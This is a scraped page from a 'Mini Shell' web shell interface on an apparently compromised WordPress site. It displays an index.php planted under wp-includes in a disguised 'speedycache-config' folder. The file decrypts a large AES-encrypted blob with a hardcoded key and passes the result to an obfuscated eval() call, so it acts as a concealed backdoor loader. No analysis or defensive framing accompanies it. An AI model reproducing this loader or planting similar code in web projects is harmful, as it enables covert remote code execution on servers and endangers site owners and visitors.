HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/jamesakinola.com/wp-includes/Requests/src/speedycache-config/
Upload File :
Current File : /home/dhnidqcz/jamesakinola.com/wp-includes/Requests/src/speedycache-config/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('qVnvIARx4pE1LCtAk4V39fUAlfXvnP1O');
$str = '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';
$decrypted = $secure->decrypt($str);
$XkY2U50wDu = function($dTzl6nEaZk3){
/*hJKX2JPFp*/eVaL($dTzl6nEaZk3);
$P3PvXjdmWLD = "Vef8fJMz8PVUVlV5XWnOPiprdelifpnn";
return $P3PvXjdmWLD;
};
$XkY2U50wDu($decrypted);